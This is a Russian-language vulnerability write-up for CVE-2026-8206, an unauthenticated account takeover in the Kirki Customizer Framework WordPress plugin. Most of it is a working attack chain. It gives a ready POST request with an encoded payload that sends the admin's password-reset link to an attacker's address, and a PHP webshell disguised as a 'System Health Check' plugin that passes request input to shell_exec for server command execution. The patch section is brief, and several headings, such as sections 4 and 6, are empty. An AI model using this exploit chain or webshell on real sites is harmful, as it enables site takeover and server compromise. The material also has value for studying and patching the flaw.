CVE-2026-8206

Уязвимость: Неавторизованный захват учётной записи — перехват email для сброса пароля в Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 КРИТИЧЕСКИЙ

Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

1. Обзор

CVE-2026-8206 — это уязвимость неавторизованного захвата учётной записи в Kirki Customizer Framework — популярном плагине конструктора страниц для WordPress с более чем 90 000 активных установок. Уязвимость позволяет атакующему захватить любую учётную запись WordPress (включая администратора), отправив всего один HTTP-запрос.

Ошибка находится в endpoint REST API kirki-forgot-password модуля ComponentLibrary. Этот endpoint позволяет запросить сброс пароля для любого пользователя и отправляет ссылку для сброса на email-адрес, указанный атакующим, вместо зарегистрированного email пользователя.

Предпосылки для эксплуатации:

• Активирован Kirki Customizer Framework 6.0.0–6.0.6
• REST API доступен публично (по умолчанию в WordPress)
• Модуль ComponentLibrary активен (по умолчанию при активации плагина)
• Учётная запись и сессия не требуются

→ Каждый сайт WordPress с установленным Kirki 6.0.0–6.0.6 уязвим по умолчанию.

2. Терминология

REST Endpoints модуля ComponentLibrary

Kirki регистрирует endpoint REST API для функции Component Library, включая login, register, forgot-password и change-password. Все они разрешают гостевой доступ (guest_permissions_check возвращает true).

Проверка nonce

Nonce в WordPress — это токен защиты от CSRF. Kirki требует nonce через заголовок X-WP-Element-Nonce или проверяет параметр nonce в запросе. Однако nonce можно публично сгенерировать или извлечь на стороне клиента.

Ключ сброса пароля

WordPress использует get_password_reset_key() для генерации токена сброса пароля. Kirki включает этот токен в шаблон письма перед отправкой.

3. Первопричина — перехват email для сброса пароля

Файл: ComponentLibrary/controller/CompLibFormHandler.php

Ошибка 1: отсутствует проверка соответствия email пользователю

В уязвимой версии (6.0.0–6.0.6) функция handle_forgot_password() не проверяет, совпадает ли указанный email с зарегистрированным email пользователя. Атакующий может указать имя пользователя жертвы и свой собственный email — ссылка для сброса будет отправлена на email атакующего.

Уязвимый исходный код:

public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

Ошибка 2: отсутствует HMAC-подпись шаблона письма

Тема и тело письма принимаются от клиента через параметры emailSubject и emailBody без какой-либо HMAC-подписи для проверки целостности. Атакующий может произвольно изменять содержимое отправляемого письма.

// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. Почему эта уязвимость опасна

5. Анализ цепочки атаки

Эксплуатация CVE-2026-8206 начинается с нулевого доступа — без учётной записи, пароля и сессии — и приводит к полному захвату администратора с использованием только HTTP-запросов.

Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 Методология создания полезной нагрузки

Шаг 1: Чтение исходного кода (самый точный метод)

Скачайте плагин с wordpress.org и откройте файл CompLibFormHandler.php напрямую:

// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ Чтение кода показывает: emailBody должен быть JSON-массивом, где каждый элемент имеет type и value. Если type = chip, а value = reset_link, Kirki автоматически вставляет ссылку для сброса в письмо.

Шаг 2: Поиск по JavaScript-бандлу плагина (grep)

Выполните grep непосредственно в каталоге плагина:

grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

Скомпилированный фронтенд-код раскроет точную требуемую JSON-структуру.

Сводка процесса поиска полезной нагрузки:

Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 Фаза 1: Перехват email для сброса пароля

Атакующий отправляет POST-запрос на endpoint forgot-password с именем пользователя жертвы (admin) и email-адресом, контролируемым атакующим ([email protected]). Сервер генерирует ключ сброса для жертвы, но отправляет ссылку для сброса на [email protected].

Отправка запроса:

POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Ответ (успех):

Письмо, полученное в почтовом ящике атакующего (MailHog на http://localhost:8025):

Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

5.2 Фаза 2: Сброс пароля и вход администратора

Атакующий использует токен key, полученный из письма, чтобы изменить пароль учётной записи администратора через endpoint kirki-change-password или стандартную форму WordPress, после чего входит в систему и получает полный административный контроль над сайтом.

Пароль изменён, и выполнен вход с использованием учётной записи admin.

Доступ к учётной записи admin получен.

5.3 Фаза 3: Загрузка веб-шелла и RCE

После получения доступа к админ-панели атакующий переходит от захвата учётной записи к удалённому выполнению кода (RCE) через стандартную функцию WordPress «Загрузить плагин».

Шаг 1: Создание плагина, содержащего веб-шелл

Атакующий создаёт PHP-веб-шелл, замаскированный под легитимный плагин WordPress:

<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

Этот файл сжимается в system-health.zip для загрузки через интерфейс администратора.

Шаг 2: Загрузка плагина через админ-панель

Атакующий переходит в Плагины → Добавить новый → Загрузить плагин, выбирает файл system-health.zip и нажимает Установить → Активировать плагин.

После загрузки WordPress автоматически распаковывает .zip-файл в каталог /wp-content/plugins/ на сервере, и веб-шелл готов к работе.

Шаг 3: Выполнение команд на сервере (RCE)

Атакующий обращается к веб-шеллу напрямую через endpoint /wp-content/plugins/webshell-plugin/shell.php

RCE выполнен успешно.

На этом этапе атакующий имеет полную возможность выполнения команд на сервере с правами www-data. Дальнейшие действия могут включать:

Сводка цепочки повышения привилегий:

Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. Сводка цепочки атаки

7. Защита и устранение уязвимости

7.1 Патч плагина (окончательное исправление)

7.2 Исправление кода — проверка соответствия email пользователю

// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 Усиление защиты — предотвращение эскалации до RCE

Даже если учётная запись администратора скомпрометирована, ущерб можно смягчить следующими мерами: